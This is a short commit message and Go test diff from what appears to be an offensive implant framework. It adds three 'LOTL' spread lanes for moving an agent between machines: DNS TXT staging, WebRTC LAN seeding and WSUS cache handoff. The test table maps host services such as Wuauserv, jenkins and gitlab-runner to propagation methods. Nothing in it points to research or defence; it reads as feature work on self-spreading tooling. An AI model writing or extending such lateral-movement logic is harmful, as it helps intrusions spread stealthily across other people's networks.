Add dns_txt, webrtc_mesh, and wsus_cache_peer LOTL deploy tiers with Forge toggles.

Implements three new spread lanes following the do_peer pattern: DNS TXT mesh staging, WebRTC LAN seed manifest delivery, and WSUS SoftwareDistribution cousin handoff. Integrates tiers into onion chain, deploy-plan allowlist, Forge UI/docs, and tests.

agent/deploy/service_discovery_test.go

@@ -19,6 +19,9 @@ func TestJoinLaneForSignal(t *testing.T) {
 		{"docker", 0, "docker"},
 		{"CCMEXEC", 0, "gpo"},
 		{"DoSvc", 0, "do_peer"},
+		{"Wuauserv", 0, "wsus_cache_peer"},
+		{"dns_txt:_aether.internal", 0, "dns_txt"},
+		{"webrtc_mesh", 0, "webrtc_mesh"},
 		{"gitlab-runner", 0, "bits_curl"},
 		{"jenkins", 8080, "bits_curl"},
 		{"unknown-svc", 9999, ""},